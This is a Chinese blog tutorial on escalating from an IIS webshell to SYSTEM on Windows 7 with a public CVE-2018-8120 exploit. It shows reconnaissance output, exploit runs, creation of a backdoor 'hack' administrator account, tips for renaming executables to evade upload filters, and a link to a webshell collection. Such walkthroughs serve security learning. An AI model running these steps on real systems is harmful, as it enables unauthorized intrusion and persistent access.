欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【win7】Win7本地溢出exploit提权-CVE-2018-8120

程序员文章站 2022-07-15 14:12:24
...

前言

这边是模拟拿到了一个WebShell的后渗透提权操作

提权过程

首先是看了看一个当前用户权限,在菜刀中打开cmd

C:\inetpub\wwwroot\bjgs_v2.1\> whoami

iis apppool\bjgs_v2.1

是一个IIS的普通权限

C:\inetpub\wwwroot\bjgs_v2.1\> net user

\\ 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest                    liuwx                    
命令运行完毕,但发生一个或多个错误。



C:\inetpub\wwwroot\bjgs_v2.1\> net user admin admin /add

发生系统错误 5。

拒绝访问。


C:\inetpub\wwwroot\bjgs_v2.1\>

 

创建用户:拒绝访问,那么权限还是比较低的!

先是上传个大马看看有没有可读可写的目录:

【win7】Win7本地溢出exploit提权-CVE-2018-8120

得到一个目录:

文件夹:C:\inetpub\wwwroot\bjgs_v2.1 可读,可写。

先看看当前主机的信息:

C:\inetpub\wwwroot\bjgs_v2.1\> systeminfo

主机名:           LIUWX-PC
OS 名称:          Microsoft Windows 7 旗舰版 
OS 版本:          6.1.7601 Service Pack 1 Build 7601
OS 制造商:        Microsoft Corporation
OS 配置:          独立工作站
OS 构件类型:      Multiprocessor Free
注册的所有人:     liuwx
注册的组织:       
产品 ID:          00426-292-0000007-85837
初始安装日期:     2019/4/16, 1:03:42
系统启动时间:     2019/10/7, 9:39:32
系统制造商:       VMware, Inc.
系统型号:         VMware Virtual Platform
系统类型:         x64-based PC
处理器:           安装了 2 个处理器。
                  [01]: Intel64 Family 6 Model 158 Stepping 9 GenuineIntel ~3408 Mhz
                  [02]: Intel64 Family 6 Model 158 Stepping 9 GenuineIntel ~3408 Mhz
BIOS 版本:        Phoenix Technologies LTD 6.00, 2017/5/19
Windows 目录:     C:\Windows
系统目录:         C:\Windows\system32
启动设备:         \Device\HarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:     3,103 MB
可用的物理内存:   1,834 MB
虚拟内存: 最大值: 6,205 MB
虚拟内存: 可用:   4,956 MB
虚拟内存: 使用中: 1,249 MB
页面文件位置:     C:\pagefile.sys
域:               WORKGROUP
登录服务器:       暂缺
修补程序:         安装了 2 个修补程序。
                  [01]: KB2534111
                  [02]: KB976902
网卡:             安装了 1 个 NIC。
                  [01]: Intel(R) PRO/1000 MT Network Connection
                      连接名:      本地连接
                      启用 DHCP:   是
                      DHCP 服务器: 192.168.1.1
                      IP 地址
                        [01]: 192.168.1.106
                        [02]: fe80::10d5:df24:e351:af59


C:\inetpub\wwwroot\bjgs_v2.1\>

关键信息有:

操作系统是Windows 7 x64

补丁只打了两个:KB2534111、KB976902

那么我们就可以上传*.exe本地溢出提权!

这边是在Github上找到了一个提权exe: https://github.com/alpha1ab/CVE-2018-8120

CVE-2018-8120 Windows LPE exploit

测试支持: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64 WinXP x32, Win2003 x32,Win2003 x64

原exp不支持xp,2003,当前代码在原基础上增加了对这两个系统的支持

exe上传到可读可写的目录:

【win7】Win7本地溢出exploit提权-CVE-2018-8120

先是使用exe看了看当前权限:

[*] 磁盘列表 [ C:D: ]

C:\inetpub\wwwroot\bjgs_v2.1\> whoami
iis apppool\bjgs_v2.1


C:\inetpub\wwwroot\bjgs_v2.1\> 
C:\inetpub\wwwroot\bjgs_v2.1\> CVE-2018-8120.exe "whoami"
CVE-2018-8120 exploit Change by @Topsec_Alpha_lab(https://github.com/alphalab)
[-] Could not load ntkrnlmp.exe , load ntoskrnl.exe instead.
[+] Trying to execute whoami as SYSTEM...
[+] Process created with pid 3132!
nt authority\system



C:\inetpub\wwwroot\bjgs_v2.1\>

是一个:nt authority\system系统权限!

提权命令:(创建一个hack用户并且提升为管理员组

CVE-2018-8120.exe "net user hack hack /add"

CVE-2018-8120.exe "net localgroup administrators hack /add"

【win7】Win7本地溢出exploit提权-CVE-2018-8120

C:\inetpub\wwwroot\bjgs_v2.1\> net user

\\ 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest                    hack                     
liuwx                    
命令运行完毕,但发生一个或多个错误。



C:\inetpub\wwwroot\bjgs_v2.1\> net user hack
用户名                 hack
全名                   
注释                   
用户的注释             
国家/地区代码          000 (系统默认值)
帐户启用               Yes
帐户到期               从不

上次设置密码           2019/10/7 11:04:04
密码到期               2019/11/18 11:04:04
密码可更改             2019/10/7 11:04:04
需要密码               Yes
用户可以更改密码       Yes

允许的工作站           All
登录脚本               
用户配置文件           
主目录                 
上次登录               从不

可允许的登录小时数     All

本地组成员             *Administrators       
全局组成员             *None                 
命令成功完成。

提权成功!

番外篇

二进制文件后缀可任意修改

首先我们是有一个二进制文件:CVE-2018-8120.exe

【win7】Win7本地溢出exploit提权-CVE-2018-8120

接着把exe后缀改成txt

【win7】Win7本地溢出exploit提权-CVE-2018-8120

CVE-2018-8120.txt “whoami”

C:\inetpub\wwwroot\bjgs_v2.1\> CVE-2018-8120.txt "whoami"
CVE-2018-8120 exploit Change by @Topsec_Alpha_lab(https://github.com/alphalab)
[-] Could not load ntkrnlmp.exe , load ntoskrnl.exe instead.
[+] Trying to execute whoami as SYSTEM...
[+] Process created with pid 2700!
nt authority\system

【win7】Win7本地溢出exploit提权-CVE-2018-8120

可以看到,是可以执行的!

一般这种用于不能上传exebat文件,我们就可以吧exe文件修改为可上传的后缀文件也能照常运行!

【win7】Win7本地溢出exploit提权-CVE-2018-8120

图片格式也是可以的!

aspx比asp权限大

如果网站支持aspx脚本,那么有的时候asp的权限比较小,但是上传了aspx脚本后权限就比asp要大一些!

因为aspx使用的是.net技术。IIS 中默认不支持,ASPX需要依赖于.net framework …ASP只是脚本语言而已。ASP.NET允许用户使用IIS建立网络服务。入侵的时候…asp的木马一般是guest权限…APSX的木马一般是users权限…iis6默认以network service身份运行。iis5默认是aspnet ASP.NET,IIS的权限机制非常复杂,对每一层应用,都有不同的权限控制。总之..要求对asp.net开放相应权限,才可以让你的网站完成相应的服务。ASP.net程序的访问权限由ASPNET的权限来决定。ASPNET隶属于Users组。所以ASPX权限就要高一些…

WebSHELL集合 : https://github.com/tennc/webshell

参考链接

https://mp.weixin.qq.com/s/Ye1K4zgIt_BAm1N8YPtLAA